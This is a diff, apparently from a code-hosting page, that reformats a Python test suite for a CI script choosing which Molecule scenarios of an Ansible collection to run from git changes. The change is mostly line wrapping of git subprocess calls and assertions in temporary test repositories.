for rel in ("extensions/molecule/image-smoke", "roles/docker/molecule/default", "roles/fail2ban/molecule/default"):
|
||||
for rel in (
|
||||
"extensions/molecule/image-smoke",
|
||||
"roles/docker/molecule/default",
|
||||
"roles/fail2ban/molecule/default",
|
||||
):
|
||||
d = pathlib.Path(root, rel)
|
||||
d.mkdir(parents=True)
|
||||
(d / "molecule.yml").write_text("---\n")
|
||||
@@ -85,8 +112,23 @@ class MainTest(unittest.TestCase):
|
||||
# No GIT_* from the caller (a hook exports GIT_DIR), no user or system config.
|
||||
env = {k: v for k, v in os.environ.items() if not k.startswith("GIT_")}
|
||||
env.update(GIT_CONFIG_GLOBAL="/dev/null", GIT_CONFIG_NOSYSTEM="1")
|
||||
subprocess.run(["git", "-C", root, "-c", "user.name=t", "-c", "[email protected]",
|
||||
"-c", "commit.gpgsign=false", *args], check=True, capture_output=True, env=env)
|
||||
subprocess.run(
|
||||
[
|
||||
"git",
|
||||
"-C",
|
||||
root,
|
||||
"-c",
|
||||
"user.name=t",
|
||||
"-c",
|
||||
"[email protected]",
|
||||
"-c",
|
||||
"commit.gpgsign=false",
|
||||
*args,
|
||||
],
|
||||
check=True,
|
||||
capture_output=True,
|
||||
env=env,
|
||||
)
|
||||
|
||||
def topic_repo(self, root, files):
|
||||
"""A repo on `topic` whose one commit over `main` adds `files` (relative path -> text)."""
|
||||
@@ -121,13 +163,17 @@ class MainTest(unittest.TestCase):
|
||||
cwd = os.getcwd()
|
||||
os.chdir(root)
|
||||
try:
|
||||
code, out, _err = self.run_main(["main"], {"EVENT_NAME": "pull_request"})
|
||||
code, out, _err = self.run_main(
|
||||
["main"], {"EVENT_NAME": "pull_request"}
|
||||
)
|
||||
self.assertEqual((code, out), (0, ["roles/docker/molecule/default"]))
|
||||
code, out, _err = self.run_main(["main"], {"EVENT_NAME": "push"})
|
||||
self.assertEqual(len(out), 3)
|
||||
code, out, _err = self.run_main([], {"EVENT_NAME": "pull_request"})
|
||||
self.assertEqual(len(out), 3)
|
||||
code, out, err = self.run_main(["no-such-ref"], {"EVENT_NAME": "pull_request"})
|
||||
code, out, err = self.run_main(
|
||||
["no-such-ref"], {"EVENT_NAME": "pull_request"}
|
||||
)
|
||||
self.assertEqual((code, len(out)), (0, 3))
|
||||
self.assertIn("::warning::", err)
|
||||
finally:
|
||||
@@ -146,7 +192,9 @@ class MainTest(unittest.TestCase):
|
||||
self.in_dir(root)
|
||||
code, out, err = self.run_main(["main"], {"EVENT_NAME": "pull_request"})
|
||||
self.assertEqual((code, out), (1, []))
|
||||
self.assertIn("::error::changed role without a molecule scenario: newrole", err)
|
||||
self.assertIn(
|
||||
"::error::changed role without a molecule scenario: newrole", err
|
||||
)
|
||||
|
||||
def test_deleted_role_is_not_an_error(self):
|
||||
with tempfile.TemporaryDirectory() as root:
|
||||
@@ -175,7 +223,9 @@ class MainTest(unittest.TestCase):
|
||||
self.git(root, "commit", "-qm", "odd")
|
||||
self.in_dir(root)
|
||||
code, out, _err = self.run_main(["main"], {"EVENT_NAME": "pull_request"})
|
||||
self.assertEqual((code, out), (0, [])) # docs/* is ignored whatever the bytes
|
||||
self.assertEqual(
|
||||
(code, out), (0, [])
|
||||
) # docs/* is ignored whatever the bytes
|
||||
with open(os.path.join(broot, b"top\xff"), "wb") as f:
|
||||
f.write(b"x")
|
||||
self.git(root, "add", "-A")
|
||||
@@ -203,9 +253,15 @@ class MainTest(unittest.TestCase):
|
||||
finally:
|
||||
os.chdir(cwd)
|
||||
|
||||
def test_every_tracked_file_is_ignored_or_selects_everything_or_is_a_role_file(self):
|
||||
tracked = subprocess.run(["git", "-C", str(REPO), "ls-files", "-z"], capture_output=True, check=True,
|
||||
env={k: v for k, v in os.environ.items() if not k.startswith("GIT_")}).stdout
|
||||
def test_every_tracked_file_is_ignored_or_selects_everything_or_is_a_role_file(
|
||||
self,
|
||||
):
|
||||
tracked = subprocess.run(
|
||||
["git", "-C", str(REPO), "ls-files", "-z"],
|
||||
capture_output=True,
|
||||
check=True,
|
||||
env={k: v for k, v in os.environ.items() if not k.startswith("GIT_")},
|
||||
).stdout
|
||||
scenarios = sel.discover(str(REPO))
|
||||
for raw in tracked.split(b"\0"):
|
||||
if not raw:
|
||||
@@ -227,16 +283,27 @@ class MainTest(unittest.TestCase):
|
||||
continue
|
||||
text = path.read_text(errors="ignore")
|
||||
for other in others:
|
||||
self.assertNotIn(f"mortis.kamino.{other}", text, f"{path.relative_to(REPO)} refers to {other}")
|
||||
self.assertNotIn(
|
||||
f"mortis.kamino.{other}",
|
||||
text,
|
||||
f"{path.relative_to(REPO)} refers to {other}",
|
||||
)
|
||||
meta = REPO / "roles" / role / "meta" / "main.yml"
|
||||
if meta.is_file():
|
||||
data = yaml.safe_load(meta.read_text()) or {}
|
||||
self.assertEqual(data.get("dependencies") or [], [], f"{role} declares role dependencies")
|
||||
self.assertEqual(
|
||||
data.get("dependencies") or [],
|
||||
[],
|
||||
f"{role} declares role dependencies",
|
||||
)
|
||||
|
||||
def test_literal_ignored_entries_exist(self):
|
||||
for pattern in sel.IGNORED:
|
||||
if "*" not in pattern:
|
||||
self.assertTrue((REPO / pattern).exists(), f"{pattern} is on IGNORED but is not in the repository")
|
||||
self.assertTrue(
|
||||
(REPO / pattern).exists(),
|
||||
f"{pattern} is on IGNORED but is not in the repository",
|
||||
)
|
||||
|
||||
def test_discover_matches_the_repository(self):
|
||||
found = sel.discover(str(REPO))
|
||||
|
||||
Reference in new issue
Block a user